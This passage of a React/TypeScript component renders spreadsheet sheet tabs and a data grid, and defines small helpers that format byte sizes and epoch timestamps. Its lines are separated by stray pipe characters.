||
<div className="sheet-tabs">
|
||
{sheets.map((s, i) => (
|
||
<button key={s.name} className={"sheet-tab" + (i === active ? " active" : "")} onClick={() => setActive(i)}>
|
||
{s.name}
|
||
</button>
|
||
))}
|
||
</div>
|
||
)}
|
||
{sheet.rows.length ? <GridTable rows={sheet.rows} /> : <div className="rail-muted artifact-table-note">Empty sheet.</div>}
|
||
</div>
|
||
);
|
||
}
|
||
|
||
function formatBytes(bytes: number): string {
|
||
if (!Number.isFinite(bytes)) return "";
|
||
if (bytes < 1024) return `${bytes} B`;
|
||
if (bytes < 1024 * 1024) return `${(bytes / 1024).toFixed(1)} KB`;
|
||
return `${(bytes / (1024 * 1024)).toFixed(1)} MB`;
|
||
}
|
||
|
||
function formatTime(epochSeconds: number): string {
|
||
if (!epochSeconds) return "";
|
||
return new Date(epochSeconds * 1000).toLocaleTimeString(undefined, { hour: "numeric", minute: "2-digit" });
|
||
}
|